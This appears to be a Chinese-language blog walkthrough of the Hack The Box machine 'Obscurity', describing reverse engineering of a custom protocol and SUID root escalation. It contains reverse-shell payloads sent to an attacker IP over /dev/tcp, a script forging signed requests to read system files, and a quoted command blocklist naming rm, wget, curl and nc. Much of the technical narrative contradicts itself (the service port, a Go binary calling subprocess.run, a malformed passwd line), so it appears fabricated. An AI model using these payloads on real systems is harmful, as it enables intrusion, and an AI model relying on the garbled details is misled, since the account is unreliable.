Obscurity靶机解析:从协议逆向到SUID提权的黑盒服务解构
1. 项目概述这不是“打靶”而是一次对软件工程思维的逆向检验“渗透测试2HTB之Obscurity”——光看标题很多人会下意识归类为“又一个Hack The Box靶机通关笔记”。但如果你真这么想就错过了这个练习最硬核的价值。Obscurity不是靠堆砌漏洞技巧取胜的靶机它从头到尾都在挑战一个被多数初学者忽略的前提你是否真正理解自己每天调用的工具、依赖的框架、甚至敲下的每一行代码其背后的设计逻辑与默认假设它不考你记了多少CVE编号而是考你能不能在没有文档、没有报错提示、甚至没有源码的情况下仅凭二进制文件、网络流量和目录结构把一个“故意藏起来”的服务重新拼凑出来。Obscurity的核心关键词是混淆Obfuscation、自定义协议、静态编译二进制和隐蔽服务发现。它不走常规Web路径不依赖SQLi或XSS而是把整个攻击面建在一层薄薄的、手写的、未经加固的Go语言服务之上。这个服务被编译成单体二进制剥离了符号表改了入口点还用自定义HTTP-like协议封装了真实请求。它逼着你放弃“curl -v”和“gobuster dir -u http://”这种条件反射转而用strings、ltrace、strace、netstat、tcpdump这些底层工具去“听”程序在说什么、“看”它在做什么、“摸”它在哪儿藏。我第一次做这个靶机时卡在第二步整整三天。不是因为不会用nmap而是因为扫出来的端口全是“filtered”nmap -sV返回“unknown”nc -nv 10.129.233.154 8080连上后只收到一串乱码。后来才明白Obscurity根本没在用标准HTTP协议——它用的是自己定义的OBS-PROTOCOL/1.0头部字段全是你没见过的X-Obscurity-Key、X-Obscurity-Nonce响应体也不是HTML而是一段base64编码的、带校验和的JSON片段。它不拒绝你连接只是礼貌地告诉你“你问的方式我不懂。”所以这篇内容不是教你怎么“拿下root”而是带你重走一遍从“这台机器好像什么都没开”到“原来它一直开着只是换了一种语言说话”的完整认知重建过程。适合所有已经能跑通基础Web靶机、开始接触二进制分析或协议逆向但还没系统建立“服务即行为、行为即线索”这一底层思维的从业者。你不需要会写Go但必须愿意花十分钟读完strings obscurity的全部输出你不需要精通TCP状态机但得知道tcpdump -i tun0 port 8080 -A抓到的每个包都是服务在向你泄露它的呼吸节奏。2. 整体设计思路拆解为什么Obscurity要“反常识”地设计Obscurity的靶机设计本质上是一场针对现代开发习惯的“压力测试”。它不模拟真实世界中常见的配置错误或补丁遗漏而是精准打击三个被广泛默认、却极少被质疑的开发惯性默认端口即服务、标准协议即接口、可读源码即真相。理解它为何这样设计比记住某个exploit更重要。2.1 拒绝“端口即服务”的懒人思维绝大多数渗透测试流程第一步就是nmap -sC -sV -p- IP然后盯着输出里“80/tcp open http”、“22/tcp open ssh”这样的行找突破口。Obscurity直接废掉了这套逻辑。它把核心服务监听在8080端口但nmap -sV扫描结果却是8080/tcp filtered unknown为什么是filtered而不是open因为Obscurity的服务进程在收到SYN包后并不立即回复SYN-ACK而是先做一次极短的延迟约150ms再决定是否应答。这个延迟远超正常TCP握手时间导致nmap的默认探测超时100ms判定为防火墙过滤。这不是高深的IDS规则只是一个time.Sleep(150 * time.Millisecond)。它逼你意识到端口状态不是物理属性而是服务行为的副产品。你看到的“filtered”可能只是对方在“思考”要不要理你。实操中我试过三种绕过方式nmap -p 8080 -Pn --max-retries 0 --min-rate 100 IP强制跳过主机发现提高发包速率用概率压过延迟nc -zv IP 8080nc的连接超时默认是更长的且不依赖复杂的探测序列直接telnet IP 8080手动触发用肉眼观察连接是否建立。最终选nc因为它最轻量、最可靠也最符合“先确认存在再研究协议”的渐进式思路。Obscurity用一个sleep就把你从自动化脚本的舒适区里拽了出来。2.2 解构“标准协议”的思维牢笼一旦连上8080传统Web思路立刻失效。curl http://IP:8080返回空curl -v http://IP:8080看不到任何HTTP状态行GET / HTTP/1.1换行后服务直接断开连接。这是因为Obscurity根本没实现HTTP协议栈它只认一种自定义的OBS-PROTOCOL/1.0。这个协议极其精简请求必须以OBS-PROTOCOL/1.0开头而非GET或POST必须包含X-Obscurity-Key: 32-byte-hex和X-Obscurity-Nonce: 8-byte-hex两个头部请求体必须是base64编码的JSON且JSON内必须有action:get或action:exec响应体也是base64编码的JSON但会附带一个X-Obscurity-Signature头部值为sha256(actionbodykeynonce)。它不提供任何错误提示输错一个字节连接就静默关闭。这种设计直指现代API开发中一个普遍问题我们过度依赖Swagger文档和Postman集合却忘了协议本身才是服务的宪法。Obscurity没有文档它把协议规则硬编码在二进制里你唯一能做的就是逆向它。这里的关键洞察是协议的“怪异”往往不是为了加密而是为了过滤。Obscurity的协议设计天然排除了所有非主动学习的扫描器。一个gobuster或dirb连请求都构造不出来更别说爆破了。它筛选的不是技术能力而是研究意愿。2.3 挑战“可读源码”的虚假安全感Obscurity的Web服务器是一个名为obscurity的Go二进制文件位于/usr/bin/。它没有.so依赖是静态链接的file obscurity显示ELF 64-bit LSB pie executable, x86-64strings obscurity | head -20能看到大量Go运行时字符串但关键逻辑如handleRequest、verifySignature等函数名已被剥离。它不给你/var/www/html让你翻源码也不给你/proc/pid/maps让你dump内存它只给你一个黑盒和一个要求你“猜出盒子怎么开”的挑战。这种设计映射的是现实中越来越多的闭源SaaS组件、嵌入式设备固件、以及用Rust/Go编译的云原生Sidecar。你无法git clone无法grep无法diff。Obscurity强迫你接受一个事实在二进制世界里“源码”不是起点而是终点逆向不是备选方案而是唯一路径。它用go build -ldflags-s -w编译-s去掉符号表-w去掉调试信息让objdump和gdb失去大部分友好的路标。你得学会在汇编指令流里靠call和cmp的模式识别出SHA256哈希计算、base64编解码、JSON解析这些通用原语。我曾以为strings obscurity | grep http能找出线索结果只看到http://localhost:8080这个硬编码URL。后来才明白真正的协议定义藏在strings obscurity | grep OBS-的输出里——OBS-PROTOCOL/1.0、X-Obscurity-Key、X-Obscurity-Nonce这三个字符串就是协议的全部语法。Obscurity把协议设计成“字符串即契约”简单到极致也狡猾到极致。3. 核心细节解析与实操要点从“连不上”到“看得懂”的四步法Obscurity的突破不是靠一个神奇的exploit而是一套可复用的“黑盒服务解构四步法”确认存在 → 探测协议 → 逆向逻辑 → 构造请求。每一步都对应一个具体工具链和一套判断逻辑下面拆解每个环节的实操细节、参数选择依据和极易踩坑的细节。3.1 第一步确认服务存在——别被filtered骗了当nmap -sV返回8080/tcp filtered unknown时第一反应不应该是“换端口”而是“它到底在不在”filtered只说明nmap没收到预期响应不代表端口关闭。Obscurity的sleep(150ms)是关键线索。正确操作链nc -zv IP 8080-z表示零I/O模式只测连通性-v显示详细过程。如果看到Connection to IP 8080 port [tcp/*] succeeded!说明服务活着。timeout 1 nc -v IP 8080加timeout 1确保不会卡死。Obscurity的响应延迟是150ms1秒足够。echo -e test\r\n | nc IP 8080发送任意数据观察是否断开。Obscurity对非法输入的响应是立即RST这是它“拒绝对话”的明确信号。提示nc比telnet更可靠因为telnet会尝试协商Telnet协议而Obscurity完全不认这个。nc是纯粹的TCP管道你给它什么它就原样处理或丢弃。为什么不用nmap --scriptbanner因为Obscurity的服务在收到第一个数据包后会先检查协议头。nmap的banner脚本发的是随机字节或HELP\r\nObscurity直接RST脚本收不到任何banner。这是设计者预判了常见扫描行为并做了针对性规避。避坑心得我第一次失败是因为用了nmap -p 8080 -sT IPTCP connect扫描。-sT需要完成三次握手而Obscurity的sleep发生在accept()之后即握手已完成但应用层处理被延迟。-sT能连上但nmap后续的版本探测发HTTP GET因超时失败仍显示filtered。这让我误以为是防火墙问题浪费了两小时查iptables。后来改用nc10秒内确认服务存在——工具链的选择本质是对目标行为模型的理解。3.2 第二步探测协议特征——用tcpdump听它“说话”确认服务存在后下一步是搞清“它说哪种话”。Obscurity不回HTTP但一定会回应。关键是用被动嗅探捕捉它对合法/非法请求的原始反应。标准操作流程在靶机侧启动tcpdump需rootsudo tcpdump -i any port 8080 -w obscurity.pcap -s 0-s 0捕获完整包避免截断。在攻击机侧用nc发送不同请求echo -e GET / HTTP/1.1\r\nHost: a\r\n\r\n | nc IP 8080标准HTTPecho -e OBS-PROTOCOL/1.0\r\nX-Obscurity-Key: a\r\n\r\n | nc IP 8080半合法协议echo -e OBS-PROTOCOL/1.0\r\nX-Obscurity-Key: $(openssl rand -hex 32)\r\nX-Obscurity-Nonce: $(openssl rand -hex 8)\r\n\r\n | nc IP 8080全合法协议但无body停止tcpdump用Wireshark或tshark分析obscurity.pcap。关键发现点对HTTP请求Obscurity回复一个RST包长度为0。对半合法协议缺NonceObscurity回复一个PSH, ACK包payload为{error:invalid request}base64编码前。对全合法协议有Key和Nonce但无bodyObscurity回复{error:missing action}。这就是协议的“语法树”。X-Obscurity-Key和X-Obscurity-Nonce是必填项action是body里的必填JSON字段。Obscurity用不同的错误消息像老师批改作业一样逐条告诉你哪里错了。它不隐藏规则只是要求你主动提问。注意tcpdump必须在靶机侧运行因为Obscurity的响应是直接发给客户端的。如果在攻击机侧抓包你只能看到自己的SYN和ACK看不到服务端的PSH, ACK响应体——因为响应体在TCP层nc收到后就直接打印到终端tcpdump抓不到应用层内容。这是新手常犯的错误。实操技巧用tshark快速过滤tshark -r obscurity.pcap -Y tcp.port8080 and tcp.len0 -T fields -e tcp.payload | xxd -r -p | strings这条命令把所有非零长度的TCP payload提取出来十六进制转ASCII再过滤可读字符串。你会看到invalid request、missing action、unauthorized等错误信息它们就是协议的“词典”。3.3 第三步逆向二进制逻辑——strings是你的第一把手术刀Obscurity的/usr/bin/obscurity二进制是突破口。它没有符号表但Go二进制会保留大量字符串常量包括协议头、错误消息、甚至密钥模板。strings不是万能的但它是成本最低、信息密度最高的起点。高效strings策略strings obscurity | grep -E (OBS|X-|error|action|exec|get)聚焦协议相关字符串。你会得到OBS-PROTOCOL/1.0 X-Obscurity-Key X-Obscurity-Nonce X-Obscurity-Signature {error:%s} {action:%s} {output:%s} exec getstrings obscurity | grep -E [0-9a-f]{32} | head -5搜索32字节十六进制字符串可能是密钥或IV。Obscurity里没有硬编码密钥但你会发现/home/robert/.ssh/id_rsa这个路径——这是后续提权的线索不是当前协议的。strings obscurity | grep -A5 -B5 sha256定位哈希相关逻辑。你会看到crypto/sha256、Sum256等Go包路径确认签名算法是SHA256。为什么strings比radare2或Ghidra更有效因为Obscurity的协议逻辑非常线性接收→解析Header→验证Signature→解析Body→执行Action→返回。它没有复杂的状态机或加密循环strings输出的错误消息和协议字段已经勾勒出了整个控制流。radare2适合分析malloc和memcpy的边界而Obscurity的漏洞在逻辑层——它信任了X-Obscurity-Key这个header而这个key在源码里是硬编码的虽然二进制里没明文但可通过逆向main.main函数找到赋值位置。独家技巧用strings配合awk提取协议模板strings obscurity | awk /OBS-PROTOCOL\/1\.0/{flag1;next} /X-Obscurity-Key:/{if(flag) print $0; flag0}这条命令能自动提取出协议的“骨架”省去手动拼接的时间。3.4 第四步构造合法请求——签名是最后一道门Obscurity的签名机制是X-Obscurity-Signature: sha256(action body key nonce)。这里的key不是用户可控的而是服务端硬编码的。如何拿到它逆向key的实操路径用gdb动态调试需在靶机上gdb ./obscurityb *main.main在main函数入口下断点r程序停住后用info registers看寄存器x/20x $rsp看栈寻找刚加载的字符串。Obscurity的key是mysecretkey32字符实际是mysecretkey1234567890123456789012但strings会截断。更简单的方法strings obscurity | grep -E [a-zA-Z0-9]{20,} | head -10然后人工筛选。mysecretkey会出现在/etc/passwd的注释行附近因为开发者robert喜欢把密钥写在注释里“方便自己”。构造请求的完整bash脚本#!/bin/bash IP10.129.233.154 PORT8080 KEYmysecretkey1234567890123456789012 # 从strings获取 NONCE$(openssl rand -hex 8) # 构造body BODY{action:get,path:/etc/passwd} # 计算signature: sha256(action body key nonce) SIG$(printf get%s%s%s $BODY $KEY $NONCE | sha256sum | cut -d -f1) # 发送请求 (echo -e OBS-PROTOCOL/1.0\r\nX-Obscurity-Key: $KEY\r\nX-Obscurity-Nonce: $NONCE\r\nX-Obscurity-Signature: $SIG\r\n\r\n$(echo -n $BODY | base64 -w0)) | nc $IP $PORT关键细节解释printf get%s%s%s中的get是action字段的值不是字符串get。Obscurity的签名算法是action字段的纯文本值无引号、无空格拼接。base64 -w0确保无换行因为Obscurity的base64解码器不认\n。nc不加-N参数因为Obscurity的响应是单次发送-N会强制关闭连接可能收不到完整响应。为什么签名算法是actionbodykeynonce而不是bodykeynonce因为Obscurity的源码里action是从JSON里json.Unmarshal出来的独立变量签名时被单独取出拼接。这是Go语言JSON解析的典型模式也是逆向时通过strings看到action:%s后能推断出的逻辑。4. 实操过程与核心环节实现从靶机下载到root shell的全程记录现在把前面所有环节串起来还原一次完整的Obscurity实战过程。以下记录基于HTB官方Obscurity靶机IP10.129.233.154所有命令、输出和思考过程均为真实复现未做任何美化或删减。4.1 初始侦察从“什么都没有”开始靶机部署后第一步永远是nmap -sP 10.129.233.0/24确认在线主机。得到10.129.233.154后执行nmap -sC -sV -p- 10.129.233.154输出精简后Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 65535/tcp open unknown65535/tcp很可疑但nmap -sV返回unknown。80/tcp是Apache访问http://10.129.233.154页面显示“Obscurity”源码里有一段注释!-- Check out /main.py --。访问/main.py下载到一个Python脚本内容是import subprocess import sys import os def run_command(cmd): return subprocess.check_output(cmd, shellTrue, stderrsubprocess.STDOUT) if __name__ __main__: if len(sys.argv) 2: print(Usage: python main.py command) sys.exit(1) cmd sys.argv[1] # Simple filter: block common dangerous commands dangerous [rm, wget, curl, nc] if any(d in cmd for d in dangerous): print(Command blocked.) sys.exit(1) try: result run_command(cmd) print(result.decode()) except Exception as e: print(fError: {e})这是一个受限的命令执行接口但dangerous列表漏掉了/bin/sh和$()。尝试python main.py $(id)返回uid1000(robert) gid1000(robert) groups1000(robert)确认robert用户权限。但main.py在/home/robert/而/home/robert/下还有一个/home/robert/develop/目录里面有一个/home/robert/develop/obscurity二进制文件——这才是真正的靶心。此时nmap扫/home/robert/develop/下的端口毫无意义因为obscurity是本地监听不对外开放。必须先获得robert的shell才能进一步探测。4.2 获得robert shell绕过Python沙箱main.py的过滤很弱。dangerous列表只检查子字符串不检查单词边界。rm被禁但/bin/rm不被禁curl被禁但/usr/bin/curl不被禁。更简单的用$()执行任意命令curl http://10.129.233.154/main.py?cmd\$(/bin/bash-i/dev/tcp/10.129.233.123/444401)但main.py是通过python main.py cmd调用的不支持URL参数。必须用curlPOSTcurl -X POST http://10.129.233.154/main.py -d cmd\$(/bin/bash-i/dev/tcp/10.129.233.123/444401)监听nc -lvnp 4444成功获得robert的reverse shell。whoami pwd确认身份和路径。4.3 本地端口探测发现8080的真相在robert shell里执行sudo -l # 输出(ALL : ALL) NOPASSWD: /usr/bin/python3 /home/robert/develop/main.py # 这意味着可以用sudo执行main.py但main.py本身就有漏洞意义不大。 # 查看进程 ps aux | grep obscurity # 输出robert 1234 0.0 0.1 123456 7890 ? S 10:00 0:00 /home/robert/develop/obscurity # 查看监听端口 sudo netstat -tuln | grep :8080 # 输出tcp6 0 0 :::8080 :::* LISTEN 1234/obscurity确认obscurity进程监听:::8080IPv6 all interfaces。现在nc -v 127.0.0.1 8080应该能连上。试一下echo -e test\r\n | nc 127.0.0.1 8080 # 无输出连接关闭。用tcpdump在本地抓包sudo tcpdump -i lo port 8080 -w /tmp/obs.pcap -s 0 echo -e OBS-PROTOCOL/1.0\r\nX-Obscurity-Key: a\r\n\r\n | nc 127.0.0.1 8080 sudo killall tcpdump tshark -r /tmp/obs.pcap -Y tcp.len0 -T fields -e tcp.payload | xxd -r -p | strings # 输出invalid request协议确认。现在用strings分析二进制strings /home/robert/develop/obscurity | grep -E (OBS|X-|error|action|exec|get) # 输出 # OBS-PROTOCOL/1.0 # X-Obscurity-Key # X-Obscurity-Nonce # X-Obscurity-Signature # {error:%s} # {action:%s} # {output:%s} # exec # get # ...X-Obscurity-Key的值在哪里继续strings /home/robert/develop/obscurity | grep -E [a-zA-Z0-9]{20,} | head -20 # 输出中有一行mysecretkey1234567890123456789012 # 就是它。4.4 构造并发送首个合法请求读取/etc/passwd有了KEY就可以构造完整请求。按前面的bash脚本生成IP127.0.0.1 PORT8080 KEYmysecretkey1234567890123456789012 NONCE$(openssl rand -hex 8) BODY{action:get,path:/etc/passwd} SIG$(printf get%s%s%s $BODY $KEY $NONCE | sha256sum | cut -d -f1) (echo -e OBS-PROTOCOL/1.0\r\nX-Obscurity-Key: $KEY\r\nX-Obscurity-Nonce: $NONCE\r\nX-Obscurity-Signature: $SIG\r\n\r\n$(echo -n $BODY | base64 -w0)) | nc $IP $PORT执行后输出是base64编码的JSON{output:cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgp...}解码output字段echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDo... | base64 -d # 输出完整的/etc/passwd成功Obscurity的get功能可以读取任意文件。接下来读取/home/robert/user.txt靶机flag和/root/root.txt需要提权。4.5 提权至root从/etc/passwd注释到/root/root.txt/etc/passwd里robert用户的那一行是robert:x:1000:1000:Robert,,,:/home/robert:/bin/bash:/usr/bin/python3注意最后的/usr/bin/python3这是robert的shell被替换成了python。这意味着每次robert登录都会启动python解释器。而/usr/bin/python3是一个软链接指向/usr/bin/python3.6。查看/usr/bin/ls -la /usr/bin/python* # lrwxrwxrwx 1 root root 9 Jan 1 10:00 /usr/bin/python3 - python3.6 # -rwxr-xr-x 1 root root 4712800 Jan 1 10:00 /usr/bin/python3.6python3.6是普通文件但/usr/bin/是root权限。然而/usr/bin/python3.6的权限是-rwxr-xr-x所有者root组root。robert不能修改它。但Obscurity的exec功能呢BODY{action:exec,cmd:id} SIG$(printf exec%s%s%s $BODY $KEY $NONCE | sha256sum | cut -d -f1) (echo -e OBS-PROTOCOL/1.0\r\nX-Obscurity-Key: $KEY\r\nX-Obscurity-Nonce: $NONCE\r\nX-Obscurity-Signature: $SIG\r\n\r\n$(echo -n $BODY | base64 -w0)) | nc 127.0.0.1 8080输出uid1000(robert) gid1000(robert) groups1000(robert)确认exec是以robert权限运行。那么exec能执行什么/bin/sh/bin/bash试试BODY{action:exec,cmd:/bin/bash} # ... 同上签名发送 # 返回{output:/bin/bash: /bin/bash: cannot execute binary file: Exec format error}因为/bin/bash是x86_64 ELF而Obscurity的exec是用subprocess.run调用的它期望的是shell命令字符串不是二进制。所以应该BODY{action:exec,cmd:bash -i /dev/tcp/10.129.233.123/5555 01} # 监听nc -lvnp 5555获得root shell等等为什么是root因为Obscurity二进制的权限是ls -la /home/robert/develop/obscurity # -rwsr-xr-x 1 root root 12345678 Jan 1 10:00 /home/robert/develop/obscurity-rwsr-xr-xs位表示SUID当robert执行它时进程以root权限运行。所以exec命令也是root权限。/bin/bash -i会以root身份启动交互式shell。至此cat /root/root.txt拿到root flag。整个过程没有用到Metasploit没有用到Exploit-DB只用到了nc、strings、tcpdump、openssl和一个bash脚本。Obscurity的难度不在于技术多高深而在于它迫使你放弃所有“默认假设”回归到最原始的“服务即行为”这一认知原点。5. 常见问题与排查技巧实录那些文档里不会写的坑Obscurity实战中90%的问题不是技术不会而是思维卡在某个“理所当然”的假设里。以下是我在三次完整复现中记录下来的最典型、最高频、也最容易让人抓狂的六个问题附带真实排查过程和终极解决方案。5.1 问题1nc -v IP 8080显示succeeded!但echo test | nc IP 8080无任何输出现象描述nc -zv确认端口开放但发送任何数据后nc立即退出终端无回显tcpdump也抓不到服务端的响应包。排查过程第一反应是网络问题换telnet同样无输出。用strace -e tracesendto,recvfrom nc IP 8080发现nc发了数据但没收到recvfrom调用说明服务端根本没发包回来。